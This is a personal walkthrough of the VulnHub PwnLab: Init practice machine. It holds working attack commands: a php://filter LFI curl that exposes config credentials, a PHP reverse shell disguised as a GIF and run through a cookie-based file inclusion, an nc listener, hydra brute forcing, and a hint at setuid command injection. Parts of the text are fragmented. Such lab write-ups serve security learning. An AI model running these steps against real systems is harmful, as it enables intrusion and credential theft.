Table of Contents
The PWLab Init VM
can be downloaded from: https://www.vulnhub.com/entry/pwnlab-init,158/.
The following ports were open.
port status Service
---- ------ -------
80 open HTTP - Apache/2.4.10 (Debian)
111 open RPC - rpcbind 2-4 (RPC #100000)
3306 open MYSQL - MySQL 5.5.47-0+deb8u1
Source code of index.php
site:
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<form action="" method="POST">
<label>Username: </label><input id="user" type="test" name="user"><br />
<label>Password: </label><input id="pass" type="password" name="pass"><br />
<input type="submit" name="submit" value="Login">
</form>
</center>
</body>
</html>
ZAP' OR 1=1 -- SELECT * from users
did not work.dirb http://192.168.25.139
revealed
the following directories:
403
permission denied message.?page
parameter in the URL: http://192.168.25.139/index.php?page=loginform action
parameter is not set. According to https://www.w3schools.com/html/html_forms.asp the
form action
parameter needs to have the form
<form action="/action_page.php">
for example./?page=index
I
receive multiple index pages until the connection closes.
echo "GET /?page=index" | nc -v 192.168.25.139 80
I read the site http://www.abatchy.com/2016/11/pwnlab-init-walkthrough-vulnhub since I did not have any more ideas.
Get the config.php
page with:
curl "http://192.168.25.139/?page=php://filter/convert.base64-encode/resource=config" | grep "PD9" | base64 -d
Opening the config.php site, shows the username and password for the root account:
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
grep PD9
equals <?p
so
it will match the start of the base64 encoded string.<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>base64: invalid input
There is a LFI vulnerability for the
include("lang/".$_COOKIE['lang']);
line.
Get the login.php
page with:
curl "http://192.168.25.139/?page=php://filter/convert.base64-encode/resource=login" | grep "PD9" | base64 -d
<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);
if (isset($_POST['user']) and isset($_POST['pass']))
{
$luser = $_POST['user'];
$lpass = base64_encode($_POST['pass']);
$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
$stmt->bind_param('ss', $luser, $lpass);
$stmt->execute();
$stmt->store_Result();
if ($stmt->num_rows == 1)
{
$_SESSION['user'] = $luser;
header('Location: ?page=upload');
}
else
{
echo "Login failed.";
}
}
else
{
?>
<form action="" method="POST">
<label>Username: </label><input id="user" type="test" name="user"><br />
<label>Password: </label><input id="pass" type="password" name="pass"><br />
<input type="submit" name="submit" value="Login">
</form>
<?php
}
$lpass
variable is just base64
encoded.<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}
Accessing the upload site with the user kent
and the
password Sld6WHVCSkpOeQ
is successful.
kent
and password
Sld6WHVCSkpOeQ
at http://192.168.25.139/?page=login is successful.The upload.php
contains a number of checks to prevent us
from uploading a PHP reverse shell.
".jpg",".jpeg",".gif",".png"
, the .php
file
extension is not allowed./
can not be in the
filename to prevent directory traversal.For the upload to work we have to trick the upload.php
file into thinking that our file is a valid image file. Renaming
php-reverse-shell.php
into
php-reverse-shell.gif
and adding the string
GIF87a
at the head of the file did the trick. After that
the file can be uploaded with the user kent
.
The local file inclusion (LFI) vulnerability in the
index.php
script can be used to include the uploaded php
(fake gif) image file with the help of the following curl
command:
curl http://192.168.25.139/ --cookie "lang=../upload/3208fd203ca8fdfa13bc98a4832c1396.gif" -v
After that we have a remote shell:
sudo nc -nvlp 443
[sudo] password for osc:
listening on [any] 443 ...
connect to [192.168.25.128] from (UNKNOWN) [192.168.25.139] 38068
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
11:18:49 up 1 day, 8:01, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Brute forcing the HTTP login with hydra
was not
successful.
$ hydra 192.168.25.139 http-form-post "/login.php:user=^USER^&pass=^PASS^:Login failed" -l admin -P rockyou.txt -t 10 -w 30 -o hydra-http-post-attack.txt
The port is open for remote connections, tested it width
nc -v 192.168.25.139 3306
. A remote connection with user
root is not possible.
k :: share/nmap/scripts » mysql -u root -h 192.168.25.139
ERROR 1045 (28000): Access denied for user 'root'@'192.168.25.128' (using password: NO)
Tested various nmap mysql scripts from
/usr/bin/share/nmap/mysql
but all of them had an error in
the function mysq.receiveGreeting
. That probably means, the
greeting string is not good.
Login with the password from the config.php
file did
work.
$ mysql -u root -p -h 192.168.25.139
Enter password:
Welcome to the MariaDB.
Your MySQL connection id is 254619
Server version: 5.5.47-0+deb8u1 (Debian)
Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.
MySQL [(none)]>
The database for the web applications is Users
as seen
in the config.php
file. The database Users
has
a users
table with the following entries:
MySQL [Users]> select * from Users.users;
+------+------------------+
| user | pass |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.00 sec)
MySQL [Users]> SHOW COLUMNS FROM users FROM Users;
+-------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| user | varchar(30) | YES | | NULL | |
| pass | varchar(30) | YES | | NULL | |
+-------+-------------+------+-----+---------+-------+
2 rows in set (0.00 sec)
sudo nmap --script msrpc-enum.nse 192.168.25.139 -p 111
revealed no interesting results.sudo nmap --script msrpc-info.nse 192.168.25.139 -p 11
did not work.Enum4linux output:
enum4linux -d -U 192.168.25.139
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Dec 2 13:46:56 2017
==========================
| Target Information |
==========================
Target ........... 192.168.25.139
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
I read another walkthrought to find out how the privilege escalation
works out. In hindsight this was a mistake. I should really have to
spend more time to find out what to do. It comes down to the local
enumeration part. The passwords for the local users are in the MySQL
database and I should have tried them out locally. It seems that the
user kane has a local tool that can be used to send messages to the root
user (kent). This tool has the setuid property and runs with root
privileges. It can be used to spawn a new shell with the right message
containing ;
.
ìndex.php
file included a second
LFI
vulnerability for the lang
cookie that
could be exploited to execute a uploaded PHP reverse shell that did open
a connection to my local Kali machine.
includes
is really dangerous.hydra
can be used to guess passwords for web
applications as well.-d
option, that really
shows allot of output.curl --cookie
parameter is quite useful.mysql
has the command show tables
that can
be used to show what tables are in a database.